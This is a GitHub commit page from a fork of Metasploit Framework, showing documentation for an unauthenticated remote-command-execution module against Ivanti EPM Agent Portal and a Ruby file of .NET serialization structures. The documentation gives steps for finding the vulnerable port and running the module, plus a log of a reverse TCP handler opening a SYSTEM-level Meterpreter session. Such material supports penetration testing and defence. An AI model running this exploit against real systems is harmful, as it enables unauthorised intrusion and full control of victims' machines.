forked from rapid7/metasploit-framework
-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge remote-tracking branch 'upstream/master'
- Loading branch information
Showing
13 changed files
with
738 additions
and
4 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
47 changes: 47 additions & 0 deletions
47
documentation/modules/exploit/windows/misc/ivanti_agent_portal_cmdexec.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,47 @@ | ||
## Vulnerable Application | ||
This module leverages an unauthenticated RCE in Ivanti's EPM Agent Portal where a RPC client can invoke a method | ||
which will run an attacker-specified string on the remote target as NT AUTHORITY\SYSTEM. | ||
This vulnerability is present in versions prior to EPM 2021.1 Su4 and EPM 2022 Su2. | ||
|
||
## Verification Steps | ||
|
||
1. Install the application | ||
1. Determine which port the vulnerable AgentPortal service is listening on. It has a non-static value. | ||
1. The port used by the AgentPortal service can be found in the registry at `HKLM\SOFTWARE\LANDesk\SharedComponents\LANDeskAgentPortal` | ||
1. Or you could scan for it and probe the high ports (testing suggests it should be in the 49000 - 50000 range). | ||
1. Start msfconsole | ||
1. Do: `use exploit/windows/misc/ivanti_agent_portal_cmdexec` | ||
1. Set the `RPORT`, `PAYLOAD` and any payload-related options | ||
1. Run the module | ||
|
||
## Options | ||
|
||
## Scenarios | ||
|
||
### Ivanti 2021.1 / 11.0.4.733 on Windows Server 2022 x64 | ||
|
||
``` | ||
metasploit-framework.pr (S:3 J:0) exploit(windows/misc/ivanti_agent_portal_cmdexec) > run | ||
[*] Powershell command length: 4205 | ||
[*] Started reverse TCP handler on 192.168.159.128:4444 | ||
[*] 192.168.159.130:49673 - Running automatic check ("set AutoCheck false" to disable) | ||
[*] 192.168.159.130:49673 - Connected to the remote end point | ||
[+] 192.168.159.130:49673 - The target is vulnerable. | ||
[*] Sending stage (176198 bytes) to 192.168.159.130 | ||
[*] Meterpreter session 11 opened (192.168.159.128:4444 -> 192.168.159.130:53627) at 2024-10-28 17:15:09 -0400 | ||
meterpreter > getuid | ||
Server username: NT AUTHORITY\SYSTEM | ||
meterpreter > sysinfo | ||
Computer : WIN-NJ6DUF1OCAM | ||
OS : Windows Server 2022 (10.0 Build 20348). | ||
Architecture : x64 | ||
System Language : en_US | ||
Domain : WORKGROUP | ||
Logged On Users : 2 | ||
Meterpreter : x86/windows | ||
meterpreter > pwd | ||
C:\Windows\system32 | ||
meterpreter > | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
70 changes: 70 additions & 0 deletions
70
lib/msf/util/dot_net_deserialization/types/common_structures.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,70 @@ | ||
module Msf | ||
module Util | ||
module DotNetDeserialization | ||
module Types | ||
module CommonStructures | ||
|
||
# | ||
# .NET Serialization Types (Common Structures) | ||
# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/acd7fe17-615c-467f-b700-e5e8761b8637 | ||
# | ||
class ValueWithCode < BinData::Record | ||
# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/0418b4a2-1e52-45dc-8622-1b619fa3ffec | ||
endian :little | ||
|
||
uint8 :primitive_type_enum | ||
choice :val, selection: :primitive_type_enum do | ||
boolean Enums::PrimitiveTypeEnum[:Boolean] | ||
uint8 Enums::PrimitiveTypeEnum[:Byte] | ||
double Enums::PrimitiveTypeEnum[:Double] | ||
int16 Enums::PrimitiveTypeEnum[:Int16] | ||
int32 Enums::PrimitiveTypeEnum[:Int32] | ||
int64 Enums::PrimitiveTypeEnum[:Int64] | ||
int8 Enums::PrimitiveTypeEnum[:SByte] | ||
float Enums::PrimitiveTypeEnum[:Single] | ||
int64 Enums::PrimitiveTypeEnum[:TimeSpan] | ||
date_time Enums::PrimitiveTypeEnum[:DateTime] | ||
uint16 Enums::PrimitiveTypeEnum[:UInt16] | ||
uint32 Enums::PrimitiveTypeEnum[:UInt32] | ||
uint64 Enums::PrimitiveTypeEnum[:UInt64] | ||
null Enums::PrimitiveTypeEnum[:Null] | ||
length_prefixed_string Enums::PrimitiveTypeEnum[:String] | ||
end | ||
end | ||
|
||
class StringValueWithCode < BinData::Primitive | ||
# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/ecc20dd0-1d83-4a22-b4b2-23c58b03dffc | ||
endian :little | ||
|
||
uint8 :primitive_type_enum, value: Enums::PrimitiveTypeEnum[:String] | ||
length_prefixed_string :string_value | ||
|
||
def get | ||
self.string_value | ||
end | ||
|
||
def set(v) | ||
self.string_value = value | ||
end | ||
end | ||
|
||
class ArrayOfValueWithCode < BinData::Primitive | ||
# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/330f623e-7412-46c9-8ae0-59543bbfee86 | ||
endian :little | ||
|
||
int32 :list_length, initial_value: -> { list_of_value_with_code.length } | ||
array :list_of_value_with_code, type: :value_with_code, initial_length: :list_length | ||
|
||
def get | ||
self.list_of_value_with_code | ||
end | ||
|
||
def set(v) | ||
self.list_of_value_with_code = v | ||
end | ||
end | ||
end | ||
end | ||
end | ||
end | ||
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.